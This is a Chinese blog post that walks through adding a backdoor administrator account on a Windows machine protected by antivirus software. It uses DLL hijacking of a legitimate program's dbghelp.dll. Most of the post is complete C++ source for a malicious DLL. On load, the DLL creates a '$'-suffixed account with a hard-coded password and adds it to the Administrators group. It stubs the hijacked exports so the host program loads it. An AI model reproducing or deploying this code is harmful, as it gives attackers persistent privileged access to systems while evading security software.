某杀软环境下的添加账户

embedded/2024/11/21 18:43:21/

某杀软环境下的添加账户

我们在某个杀软环境下,正常添加账户一般是会被直接拦截的

白+黑

在这个环境下,白+黑是最实用的绕过方式,我们可以通过调用winapi来创建账户,这些代码再存储到dll里面,通过白程序来进行dll劫持执行我们的代码

使用函数

NetUserAdd

NET_API_STATUS NET_API_FUNCTION NetUserAdd([in]  LPCWSTR servername,//NULL 为本地[in]  DWORD   level, [in]  LPBYTE  buf,[out] LPDWORD parm_err
);

上面这个函数中第三个参数是一个结构,可以有很多选择,这里我们使用_USER_INFO_1同时第二个参数要配套输入1代表信息等级1,_USER_INFO_1的结构如下

typedef struct _USER_INFO_1 {LPWSTR usri1_name;LPWSTR usri1_password;DWORD  usri1_password_age;DWORD  usri1_priv;LPWSTR usri1_home_dir;LPWSTR usri1_comment;DWORD  usri1_flags;LPWSTR usri1_script_path;
} USER_INFO_1, *PUSER_INFO_1, *LPUSER_INFO_1;

LookupAccountName

实现好用户的创建之后,我们就继续使用LookupAccountName来查询对应账户的sid,方便我们后续添加管理员用户组

BOOL LookupAccountNameW([in, optional]  LPCWSTR       lpSystemName,[in]            LPCWSTR       lpAccountName,[out, optional] PSID          Sid,//这里会返回我们的SID[in, out]       LPDWORD       cbSid,[out, optional] LPWSTR        ReferencedDomainName,[in, out]       LPDWORD       cchReferencedDomainName,[out]           PSID_NAME_USE peUse
);

NetLocalGroupAddMembers

最后使用NetLocalGroupAddMembers来向管理员组里面去添加成员

NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMembers([in] LPCWSTR servername,[in] LPCWSTR groupname,[in] DWORD   level,[in] LPBYTE  buf,[in] DWORD   totalentries
);

完整demo

我这里使用的是劫持了某个会议软件目录下的dbghelp.dll进行的实验,其作为实战的劫持是不行的,因为它没有办法正常让程序启动,会报错,动静很大,但是作为实验来说已经足够

在这里插入图片描述

// dllmain.cpp : 这是 DLL 应用程序的入口点。
#include "pch.h" // 预编译头文件
#include <Windows.h> // Windows API 头文件
#include <string.h> // 字符串处理函数
#include <LMaccess.h> // 本地管理相关的 Net API 头文件
#include <lmerr.h> // Windows 网络错误码
#include <tchar.h> // 支持 TCHAR 类型的宏和函数
#include <stdio.h> // 标准输入输出库
#pragma comment(lib,"netapi32.lib") // 链接 netapi32.lib 库extern "C" __declspec(dllexport) void SymSetOptions() {}extern "C" __declspec(dllexport) void SymSetSearchPathW() {}extern "C" __declspec(dllexport) void SymCleanup() {}extern "C" __declspec(dllexport) void SymFromAddr() {}extern "C" __declspec(dllexport) void SymGetSearchPathW() {}extern "C" __declspec(dllexport) void SymGetLineFromAddr64() {}extern "C" __declspec(dllexport) void SymInitialize() {}// 定义内部函数,用于创建管理员用户
DWORD CreateAdminUserInternal(void)
{NET_API_STATUS rc; // 记录 API 调用的返回状态BOOL b; // 布尔标志DWORD dw; // 通用 DWORD 类型变量DWORD dwLevel = 1;DWORD dwError = 0;USER_INFO_1 ud; // 用户信息结构LOCALGROUP_MEMBERS_INFO_0 gd; // 本地组成员信息SID_NAME_USE snu; // SID 名称使用类型// 定义 SID 和 Domain 的缓冲区大小DWORD cbSid = 256;BYTE Sid[256]; // 用于存储用户的 SIDDWORD cbDomain = 256 / sizeof(TCHAR);TCHAR Domain[256]; // 用于存储域名// 初始化 USER_INFO_1 结构memset(&ud, 0, sizeof(ud)); // 清空结构// 设置用户信息wchar_t username[] = L"adexx$";ud.usri1_name = username;            // 账户   wchar_t password[] = L"adexx!@#QWE";ud.usri1_password = password;      // 密码ud.usri1_priv = USER_PRIV_USER;ud.usri1_script_path = NULL;ud.usri1_comment = NULL;ud.usri1_flags = UF_SCRIPT;ud.usri1_home_dir = NULL;// 调用 NetUserAdd 函数创建用户rc = NetUserAdd(NULL,       // 本地计算机dwLevel,          // 信息级别(LPBYTE)&ud, // 指向用户信息结构的指针&dwError // 返回的用户 ID,当前不需要);// 检查用户创建是否成功if (rc != NERR_Success) {MessageBox(NULL, _T("NetUserAdd Error"), _T("Error"), MB_OK | MB_ICONERROR); // 显示消息框return rc; // 返回错误代码}// 获取刚创建用户的 SIDb = LookupAccountName(NULL,       // 本地计算机_T("adexx$"), // 要查找的用户名Sid,        // 存储 SID 的缓冲区&cbSid,     // SID 的缓冲区大小Domain,     // 存储域名的缓冲区&cbDomain,  // 域名缓冲区的大小&snu        // SID 名称使用类型);// 检查是否成功查找 SIDif (!b) {dw = GetLastError(); // 获取最后的错误代码TCHAR msg[256];_stprintf_s(msg, _T("LookupAccountName Fail ,Error is :%d"), dw); // 格式化消息MessageBox(NULL, msg, _T("Error"), MB_OK | MB_ICONERROR); // 显示消息框return dw; // 返回错误代码}// 将用户添加到本地管理员组memset(&gd, 0, sizeof(gd)); // 清空 LOCALGROUP_MEMBERS_INFO_0 结构gd.lgrmi0_sid = (PSID)Sid; // 设置成员的 SID// 调用 NetLocalGroupAddMembers 函数将用户添加到管理员组rc = NetLocalGroupAddMembers(NULL,       // 本地计算机_T("Administrators"), // 组名0,          // 信息级别(LPBYTE)&gd, // 成员信息1 // 成员数量);// 检查是否添加成功if (rc != NERR_Success) {MessageBox(NULL, _T("NetLocalGroupAddMembers Error"), _T("Error"), MB_OK | MB_ICONERROR); // 显示消息框return rc; // 返回错误代码}return 0; // 成功完成
}// DLL 主入口点
BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH: // 当 DLL 被加载时CreateAdminUserInternal(); // 调用创建用户函数case DLL_THREAD_ATTACH: // 新线程被创建时case DLL_THREAD_DETACH: // 线程退出时case DLL_PROCESS_DETACH: // DLL 被卸载时break; // 无需处理}return TRUE; // 返回 TRUE,表明 DLL 处理成功
}

结果

用管理员权限运行腾讯会议,成功以后来看用户组,可以看见用户被成功添加

在这里插入图片描述

注销看一眼,确实添上了

在这里插入图片描述


http://www.ppmy.cn/embedded/139397.html

相关文章

2025 -生信信息学 - GO-KEGG-DO分析

生信信息学 - GO-KEGG-DO分析 01 GO分析 library("org.Hs.eg.db") library("clusterProfiler") library("enrichplot") library("ggplot2") library("ggnewscale") library("enrichplot") library("DOSE&q…

线性代数(第四章:方程组)

一、方程组的基础知识 1. 方程组的形式 2. 方程组的解 1)齐次方程组 2)非齐次方程组 3)总结 3. 方程组解的结构与性质 1)基础解系 若向量组 η1 , η2 ,…, ηr 满足: η1 , η2 ,…, ηr 为齐次线性方程组 Ax = 0 的解;η1 , η2 ,…, ηr 为全部解的极大线性无关组…

数据结构C语言描述3(图文结合)--双链表、循环链表、约瑟夫环问题

前言 这个专栏将会用纯C实现常用的数据结构和简单的算法&#xff1b;有C基础即可跟着学习&#xff0c;代码均可运行&#xff1b;准备考研的也可跟着写&#xff0c;个人感觉&#xff0c;如果时间充裕&#xff0c;手写一遍比看书、刷题管用很多&#xff0c;这也是本人采用纯C语言…

基于Java Springboot智能交通信息平台

一、作品包含 源码数据库设计文档万字PPT全套环境和工具资源部署教程 二、项目技术 前端技术&#xff1a;Html、Css、Js、Vue、Element-ui 数据库&#xff1a;MySQL 后端技术&#xff1a;Java、Spring Boot、MyBatis 三、运行环境 开发工具&#xff1a;IDEA/eclipse 数据…

OpenCV:VideoWriter.write()导致内存不断增长(未解决)

以前某个应用&#xff0c;专门把opencv独立为进程&#xff0c;完成后自动释放。当时我还想优化一下&#xff0c;比如减少frame&#xff0c;结果一点用没用。 这次专门一下&#xff0c;结论就是&#xff1a;每次执行write()&#xff0c;内存必然增加。 输出版本号&#xff0c;是…

MongoDB vs PRedis:深度对比与Python实现案例

目录 MongoDB vs PRedis:深度对比与Python实现案例目录第一部分:基础介绍与架构对比1.1 MongoDB1.2 PRedis1.3 架构对比MongoDB架构PRedis架构第二部分:功能与特性对比2.1 数据模型2.2 查询能力2.3 数据一致性2.4 扩展性第三部分:性能与扩展性分析3.1 性能3.2 高可用与扩展…

用vscode编写verilog时,如何有信号定义提示、信号定义跳转(go to definition)、模块跳转(跨文件跳转)这些功能

&#xff08;一&#xff09;方法一&#xff1a;安装插件SystemVerilog - Language Support 安装一个vscode插件即可&#xff0c;插件叫SystemVerilog - Language Support。虽然说另一个插件“Verilog-HDL/SystemVerilog/Bluespec SystemVerilog”也有信号提示及定义跳转功能&am…

EasyExcel

一 简介 1.EasyExcel是什么 EasyExcel是一个基于Java的简单、省内存的读写Excel的阿里开源项目在尽可能节约内存的情况下支持读写百M的Excel。 2.EasyExcel 能用在哪里 项目中涉及到Excel文件,CVS文件大多数的读写操作,均可以使用! 3 官网 EasyExcel官方文档 - 基于Java的E…